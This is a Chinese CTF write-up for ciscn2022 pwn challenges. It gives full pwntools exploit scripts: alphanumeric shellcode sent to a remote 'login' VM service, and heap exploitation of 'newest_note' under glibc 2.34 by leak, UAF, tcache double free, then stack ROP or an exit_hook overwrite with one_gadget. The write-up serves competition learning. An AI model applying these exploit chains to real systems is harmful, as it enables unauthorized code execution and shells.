-
-
[原创]ciscn2022 pwn部分wp
-
2022-6-15 12:32 9622
-
login
vmpwn+shellcode,拿到root权限后直接发送即可
shellcode来源https://hama.hatenadiary.jp/entry/2017/04/04/190129,将rax修改为rdx(本题call shellcode的寄存器为rdx)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * #p = process("./login") p = remote( '59.110.105.63' , 41076 ) def run_vm(code): p.recvuntil( ">>> " ) p.send(code) #code = code = b "msg:" + b 'ro0ta\n' + b "opt:" + b '1\n\n' run_vm(code) code = b "msg:" + b 'RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAa\n' + b "opt:" + b '2\n\n' #gdb.attach(p,'b *$rebase(0xEC9)') run_vm(code) p.interactive() |
newest_note
2.34版本的堆题,没有free_hook和malloc_hoook,故利用类似orw的方式,打栈的ret返回地址。
mmap申请极大的堆到libc段之上(malloc的是低位,而pagesnum是整个高位),show没有检查边界,可以通过show来泄露libc
(这里有一个漏洞点就是,malloc的参数使用的是32位寄存器,而赋值变量的时候是64位,故可以造成越界)
存在UAF,故可以使用double free,没有edit,故考虑fastbin double free,实现任意地址写
利用environ指针泄露出栈地址,然后申请到栈上写返回地址ROP即可(onegadget没打通)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import * p = process( "newest_note" ) #context.log_level = 'debug' p.recvuntil( "How many pages your notebook will be? :" ) p.send( str ( 0x40010000 ).rjust( 19 , '0' )) def add(idx,data): p.recvuntil( "4. Exit" ) p.send( "1" .rjust( 19 , '0' )) p.recvuntil( "Index: " ) p.send( str (idx).rjust( 19 , '0' )) p.recvuntil( "Content: " ) p.send(data) def free(idx): p.recvuntil( "4. Exit" ) p.send( "2" .rjust( 19 , '0' )) p.recvuntil( "Index: " ) p.send( str (idx).rjust( 19 , '0' )) def show(idx): p.recvuntil( "4. Exit" ) p.send( "3" .rjust( 19 , '0' )) p.recvuntil( "Index: " ) p.send( str (idx).rjust( 19 , '0' )) show( 0x537F5 ) #env p.recvuntil( "Content: " ) stack = u64(p.recv( 6 ) + b '\x00\x00' ) - 0x158 print ( hex (stack)) show( 0x537F5 - 0xc ) #stdin p.recvuntil( "Content: " ) libc_base = u64(p.recv( 6 ) + b '\x00\x00' ) - 0x218a80 print ( hex (libc_base)) for i in range ( 10 ): add(i, 'aa' ) for i in range ( 7 ): free( 6 - i) show( 6 ) p.recvuntil( "Content: " ) heap = u64(p.recv( 5 ) + b '\x00\x00\x00' ) * 0x1000 print ( hex (heap)) free( 7 ) free( 8 ) free( 7 ) for i in range ( 7 ): add(i, 'aa' ) add( 7 ,p64( int (heap / 0x1000 ) ^ stack)) add( 8 , 'aa' ) add( 10 , 'aa' ) gdb.attach(p, 'b *$rebase(0x14A4)' ) one = [ 0xeeccc , 0xeeccf , 0xeecd2 ] pop_rdi = libc_base + 0x000000000002e6c5 execvp = libc_base + 0xEE844 bin_sh = libc_base + 0x1DBCBA add( 0 ,p64( 0 ) + p64(pop_rdi) + p64(bin_sh) + p64(execvp)) p.interactive() |
#
另一种解法:
申请大堆块来利用show的越界泄露libc基地址,利用UAF来泄露堆地址,利用doublefree申请到exit_hook附近,此exithook为动调exit时找到的一个可以的call的函数地址,将其修改为onegadget即可,tcache申请有检查对齐,故从exit_hook-0x8开始写即可通过检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | from pwn import * p = process( "newest_note" ) context.log_level = 'debug' p.recvuntil( "How many pages your notebook will be? :" ) p.sendline( str ( 0x40010000 )) def add(idx,Content): p.sendlineafter( ': ' , '1' ) p.sendlineafter( 'Index: ' , str (idx)) p.sendafter( 'Content: ' ,Content) def free(idx): p.sendlineafter( ': ' , '2' ) p.sendlineafter( 'Index: ' , str (idx)) def show(idx): p.sendlineafter( ': ' , '3' ) p.sendlineafter( 'Index: ' , str (idx)) def pwn(): #leak libc (stdin) show( 0x537F5 - 0xc ) p.recvuntil( "Content: " ) libc_base = u64(p.recv( 6 ).ljust( 8 ,b '\x00' )) - 0x218a80 exit_hook = libc_base + 0x21a6c0 #exit_hook->onegadget for i in range ( 10 ): add(i, 'wow' ) for i in range ( 7 ): free( 6 - i) show( 6 ) p.recvuntil( "Content: " ) heap_base = u64(p.recv( 5 ).ljust( 8 ,b '\x00' ))<< 12 free( 7 ) free( 8 ) free( 7 ) for i in range ( 7 ): add(i, 'wow' ) add( 7 ,p64( int (heap_base>> 12 ) ^ exit_hook)) add( 8 , 'wow' ) add( 10 , 'wow' ) #gdb.attach(p,'b *$rebase(0x14A4)') ''' 0xeeccc execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xeeccf execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xeecd2 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' #gdb.attach(p) add( 0 ,p64( 0xeeccc + libc_base) + p64( 0xeeccc + libc_base)) print ( hex (heap_base)) print ( hex (libc_base)) p.recvuntil( "4. Exit" ) p.sendline( "4" ) p.interactive() if __name__ = = "__main__" : pwn() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
看原图